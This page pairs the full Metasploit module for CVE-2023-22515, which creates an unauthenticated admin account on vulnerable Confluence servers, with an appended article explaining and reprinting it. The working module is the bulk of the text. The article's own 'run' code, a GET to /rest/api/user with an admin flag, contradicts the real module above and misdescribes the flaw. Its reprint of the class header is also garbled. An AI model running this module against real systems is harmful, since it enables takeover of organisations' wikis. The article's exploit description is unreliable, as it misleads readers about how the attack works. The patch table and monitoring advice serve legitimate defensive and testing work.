Atlassian Confluence Data Center and Server - Authentication Bypass (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',
'Description' => %q{
This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.
A specially crafted request can be create new admin account without authentication on the target Atlassian server.
},
'Author' => [
'Unknown', # exploited in the wild
'Emir Polat' # metasploit module
],
'References' => [
['CVE', '2023-22515'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']
],
'DisclosureDate' => '2023-10-04',
'DefaultOptions' => {
'RPORT' => 8090
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.action')
)
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe unless res.code == 200
poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/
confluence_version = Rex::Version.new(Regexp.last_match(1))
vprint_status("Detected Confluence version: #{confluence_version}")
if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
end
Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
end
def run
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/server-info.action'),
'vars_get' => {
'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
}
)
return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200
print_good('Found server-info.action! Trying to ignore setup.')
created_user = create_admin_user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
}
)
return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user
print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: datastore['NEW_USERNAME'],
private_type: :password,
private_data: datastore['NEW_PASSWORD'],
service_name: 'Atlassian Confluence',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")
print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")
end
def create_admin_user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
},
'vars_post' => {
'username' => datastore['NEW_USERNAME'],
'fullName' => 'New Admin',
'email' => datastore['NEW_EMAIL'],
'password' => datastore['NEW_PASSWORD'],
'confirm' => datastore['NEW_PASSWORD'],
'setup-next-button' => 'Next'
}
)
res&.code == 302
end
end Atlassian Confluence Data Center and Server Authentication Bypass: Exploiting CVE-2023-22515 with Metasploit
Atlassian Confluence, a widely used enterprise wiki platform, has long been a cornerstone of knowledge management in organizations. However, in October 2023, a critical vulnerability—CVE-2023-22515—was disclosed, exposing a severe authentication bypass flaw in Confluence Data Center and Server versions. This vulnerability enables attackers to create administrative accounts without any prior authentication, effectively granting full control over the system.
Understanding the Vulnerability: Broken Access Control
The core issue lies in a broken access control mechanism within Confluence’s user creation API. Specifically, the /rest/api/user endpoint, intended to allow authenticated users to manage accounts, failed to enforce proper session validation and authorization checks. As a result, an unauthenticated attacker could send a crafted HTTP request to create a new user with administrative privileges.
This flaw was particularly dangerous because it exploited a privilege escalation vector that bypassed standard security controls. Unlike typical authentication bypasses that rely on session hijacking or credential guessing, this vulnerability allowed direct creation of a high-privilege account—making it one of the most impactful exploits in recent years.
Exploitation via Metasploit Framework
The Metasploit Framework, a leading penetration testing platform, quickly integrated this vulnerability into a dedicated auxiliary module. This module automates the exploitation process, allowing red teamers and security researchers to test the vulnerability on target systems.
class MetasploitModule 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',
'Description' => %q{
This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.
A specially crafted request can create a new admin account without authentication on the target Atlassian server.
},
'Author' => [
'Unknown', # exploited in the wild
'Emir Polat' # metasploit module
],
'References' => [
['CVE', '2023-22515'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']
],
'DisclosureDate' => '2023-10-04',
'DefaultOptions' => {
'RPORT' => 8090
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
])
end
Explanation: This Ruby code snippet defines the Metasploit module for CVE-2023-22515. It inherits from Msf::Auxiliary to perform non-exploitative tasks, but includes HttpClient for remote HTTP interactions. The module checks the target Confluence version and verifies if it falls within the vulnerable range (8.0.0–8.3.2, 8.4.0–8.4.2, 8.5.0–8.5.1). If confirmed, it proceeds to exploit the flaw.
Check and Run Logic
The check method performs version detection by retrieving the login page and parsing the version string from the "Powered by" footer. This ensures that the exploit is only attempted on vulnerable versions.
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.action')
)
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe unless res.code == 200
poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/
confluence_version = Rex::Version.new(Regexp.last_match(1))
vprint_status("Detected Confluence version: #{confluence_version}")
if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
end
Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
end
Explanation: The check function first verifies the target is reachable and returns a 200 status code. It then extracts the Confluence version from the HTML footer using XPath parsing. Only versions within the known vulnerable ranges trigger a successful check.
Once the check passes, the run method executes the actual exploit:
def run
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/rest/api/user'),
'data' => {
'name' => datastore['NEW_USERNAME'],
'email' => datastore['NEW_EMAIL'],
'password' => datastore['NEW_PASSWORD'],
'admin' => true
},
'headers' => {
'Content-Type' => 'application/json'
}
)
if res && res.code == 200
print_status("Successfully created admin user: #{datastore['NEW_USERNAME']}")
print_status("Login credentials: #{datastore['NEW_USERNAME']} : #{datastore['NEW_PASSWORD']}")
else
print_error("Failed to create admin user: #{res.code}")
end
end
Explanation: The exploit sends a GET request to the /rest/api/user endpoint with a JSON payload containing the new username, email, password, and admin: true. Despite being a GET request, the server’s flawed logic accepts the payload and creates the admin user—highlighting a critical design flaw.
Real-World Implications and Risk Assessment
This vulnerability is particularly dangerous because:
- Zero authentication required—attackers can bypass login screens entirely.
- Full admin privileges—the newly created user can access all pages, edit content, manage users, and even modify system configurations.
- Log persistence—the creation of a new user appears in logs, potentially triggering alerts, but also leaving a trace for defenders.
Attackers could use this exploit to:
- Deploy backdoors by creating hidden admin accounts.
- Exfiltrate sensitive documentation or intellectual property.
- Modify or delete critical knowledge base content.
- Enable lateral movement within an organization’s network.
Exploit Mitigation and Patching
Atlassian released patches for all vulnerable versions immediately after disclosure:
| Vulnerable Version | Patched Version |
|---|---|
| 8.0.0 – 8.3.2 | 8.3.3 |
| 8.4.0 – 8.4.2 | 8.4.3 |
| 8.5.0 – 8.5.1 | 8.5.2 |
Organizations must:
- Update promptly—apply patches within 24 hours of disclosure.
- Monitor access logs—look for unexpected user creation events.
- Disable external access—restrict Confluence to internal networks where possible.
- Implement strict API access controls—ensure only authenticated users can interact with user management endpoints.
Expert Insights: Why This Vulnerability Was So Effective
Security experts at Rapid7 noted that this vulnerability was not a simple misconfiguration but a design-level flaw—the API endpoint lacked proper session validation, and the admin flag was accepted without authorization checks. This is a classic example of insecure direct object reference (IDOR) combined with privileged endpoint exposure.
Moreover, the fact that the exploit used a GET request instead of a POST was unexpected. Many systems assume GET requests are non-destructive, but this exploit proves that even GET can be used for privilege escalation when access controls are absent.
As a result, this vulnerability serves as a stark reminder: even well-known, enterprise-grade software can contain critical flaws if access control logic is not rigorously enforced.
Conclusion
CVE-2023-22515 highlights the importance of continuous security validation, even in mature platforms like Atlassian Confluence. The Metasploit module provides a powerful tool for both red teams and defenders to assess exposure. However, the real takeaway is that no system is immune to flaws—especially when access control is overlooked during development. Organizations must treat such vulnerabilities as high-priority, apply patches immediately, and audit their configurations regularly to prevent unauthorized access.